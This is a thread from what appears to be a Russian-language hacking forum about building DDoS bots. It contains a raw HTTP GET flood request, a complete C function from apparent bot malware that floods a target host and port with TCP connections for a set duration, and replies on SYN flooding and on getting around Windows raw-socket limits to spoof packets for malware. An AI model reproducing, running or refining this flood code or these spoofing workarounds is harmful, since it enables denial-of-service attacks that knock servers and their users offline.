• XSS.stack #1 – первый литературный журнал от юзеров форума

ддос атаки

Lomerok

RAID-массив
Пользователь
Регистрация
31.08.2006
Сообщения
92
Реакции
0
незнал куда запхать эту тему , и решил сюда.
меня интересует какие виды современных атак используют ддос боты
и желательно полное описание того как это работает в теории или на практике.
заранее всем спасибо.

вот один из видов атаки

Код:
GET / HTTP/1.1\r\nHost: target.ru\r\n

как называется данная атака если я забрасываю сервер такими пакетами и принимаю ответ? HTTPFlood или TCPFlood или TCP SYN Flood?

и еще один вид,когда я только открываю соединение послав на него пакет
Код:
GET / HTTP/1.1\r\n

соединение остаётся открытым но ответ не возвращается,как называется такой метод?

умные люди тут подсказали чт опервый метод это HTTPFlood а второй это SYNFlood

прошу поправить если я не прав
 
Пожалуйста, обратите внимание, что пользователь заблокирован
http://xiki.dlab.org.in/ почитайте здесь, там есть про http и syn флуд.
умные люди тут подсказали чт опервый метод это HTTPFlood а второй это SYNFlood
видать, не очень умные люди, ибо это совсем не син.
 
а как насчёт такой функции,это и есть сун флуд или это ваще чтото другое?ведь насколько мне известно тсп флуд называют сун флудом или нет?и если это другой тип то что это за тип такой в этом коде и как он атакует в теории объясните плиз...
Код:
DWORD WINAPI DDoS_TCP(void *data) {
    // .
    DDoSInfo *ddos;
    //ZeroMemory(&ddos, sizeof(DDoSInfo));
    //CopyMemory(&ddos, data, sizeof(DDoSInfo));
	ddos = (DDoSInfo *)data;
    char *szPort = NULL;
    char *szHost = NULL;
    int i;
    szHost = &ddos->szTarget[0];
    for(i = 0;i<lstrlen(ddos->szTarget);i++)
    {
        // Determine location of first space
        if(ddos->szTarget[i] == ':') {
            ddos->szTarget[i++] = '\x00';
            szPort = &ddos->szTarget[i++];
            break;                   
        }
    }
    
    //printf("Attacking %s on port %d\n", szHost, (unsigned short)matoi(szPort));
    WSADATA	WsaData;
    WSAStartup (0x0101, &WsaData);
    
    sockaddr_in       sin;
    sin.sin_family = AF_INET;
    sin.sin_port = htons((unsigned short)matoi(szPort));
    struct hostent * host_addr;
    host_addr = gethostbyname(szHost);
    if(host_addr==NULL) {
        WSACleanup();
        goto GracefulExit;
        return 0;
    }
    sin.sin_addr.s_addr = *((int*)*host_addr->h_addr_list);
    int sockFailureCount;
    sockFailureCount = 0;
    DWORD curTick;
    DWORD endTick;
    curTick = GetTickCount();
    if(ddos->dwDuration == 0 || ddos->dwDuration > 60)
        ddos->dwDuration = 59;
    endTick = curTick + (ddos->dwDuration * 60 * 1000);
    while(bDDoS) {
        int sock = socket (AF_INET, SOCK_STREAM, 0);
        if (sock == -1) {
            sockFailureCount++;
            if(sockFailureCount == 10)
          break;
            Sleep(250);
            continue;
      	}
       connect (sock,(const struct sockaddr *)&sin, sizeof(sockaddr_in));
       if(sock  == INVALID_SOCKET) { closesocket(sock); continue; }
       if(ddos->dwIntensity > 0) {
           Sleep(ddos->dwIntensity * 2);
       }
       closesocket(sock);
       curTick = GetTickCount();
       if(curTick >= endTick) {
           bDDoS = false;           
       }
    }
    WSACleanup();
    GracefulExit:
    if(ddos->szTarget != NULL)
        HeapFree(GetProcessHeap(), 0, ddos->szTarget);
    ddos->szTarget = NULL;
	if(ddos != NULL) 
  HeapFree(GetProcessHeap(), 0, ddos);
    return 0;
}
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Lomerok, советую почитать про сетевую модель OSI, и в особенности про стек TCP\IP, думаю много чего прояснится.

"SYN-запросы - часть т.н трехступенчатого рукопожатия, используемого в
протоколе TCP при установке соединения. Вначале, желая установить соединение, клиент посылает пакет с флагом syn. Сервер запоминает клиента, выделяет ресурсы, и отправляет ему ответный запрос(с флагом ACK) и переходит в состояние syn-received(что значит, что ресурсы уже выделены и все готово для приему клиента). Клиент получает пакет, сам в свою очередь отправляет серверу пакет с флагом ACK, и соединение установлено, можно передавать данные. Суть атаки в том, чтобы быстро слать пакеты с флагом syn, заставляя сервер выделять ресурсы, но игнорировать его ответы. Т.е. здесь нужен спуффинг, что нереально в лузермоде в винде (ринг3)

HTTP запросы - запросы на уровне HTTP, SYN же - на уровне TCP. HTTP запросы инкапсулируются в tcp-соединение, и чтобы послать HTTP-запрос, нужно для начала установить соединение. Т.е SYN - атака на более низком уровне."(с)techmaniac
 
Собственно полторы сслыки от гугла и вот вам чтиво, дабы опровергнуть весию о невозможности работы с сетевухой на низком уровне из 3 кольца.
вики
 
Пожалуйста, обратите внимание, что пользователь заблокирован
TrueUser, я не особо хорошо знаю инглиш, но вот вроде же и написано про ограничения.
Three years after the Windows XP release, Microsoft silently limited Winsock's raw socket support in a non-removable hotfix and offered no further support or workarounds for applications that used them.

Вот ссылка на МСДН, где это описано http://msdn.microsoft.com/en-us/library/ms...8(v=vs.85).aspx читать начиная с Limitations on Raw Sockets

Как же тогда сделать спуффинг на юзермоде? Надо по любому патчить драйвер/писать свой дров.
А без спуффинга толку то с синфлуда?

Могу ошибаться, т.к. я не особо специалист.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Zer0, вроде бы такой способ использует wireshark; но для малвари таскать с собой либу - не очень хорошая идея, имхо.
 
поидее я слышал что если с Pcap'ом делать то там ничего лишнего таскать ненадо,никаких dll , но вот найти такой исходник мне в сети неудалось,очень сложная либа ,для профессионалов уж...может укогонибудь есть исходник?
 
1. Можно попытаться запускать софт в режиме совместимости со старыми версиями винды.
2. Протокол UDP на сколько я знаю дает довольно таки широкий спектр возможностей по реализации любых пакетов, в том числе и эмуляции TCP. На UDP RAW_SOCKET, судя по MSDN, не накладываются такие ограничения в новых версиях форточек.
 
Примеров привести не могу ибо не занимался этим. Самый верный способ - изучение спецификации на оба протокола. Я теоретически предположил, что с помощью UDP можно "эмулировать" часть протокола TCP. То есть ту часть, которая и требуется для реализации обмена SYN - ACK.
Но и не исключено, что UDP посылает свои собственные заголовки вперед всего и они малину то и обгадят :)
Что касается драйвера - то на сколько я знаю историю развития малвари, то от них пришлось отказаться в силу ряда причин, которые сможет пояснить более навтырявшийся в винкодинге человек.
 
Но и не исключено, что UDP посылает свои собственные заголовки вперед всего и они малину то и обгадят
Помоему кстати да, у UDP после номеров портов отправителя и получателя длина и контрольная сумма идут, а TCP на их месте нужно место под флаги, номер последовательности...
 
Неужели мелкомягкие вообще похерили поддержку софта который раньше работал с апи сырых сокетов? Мне кажется, что в режиме совместимости со старыми версиями винды должны они работать как то.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх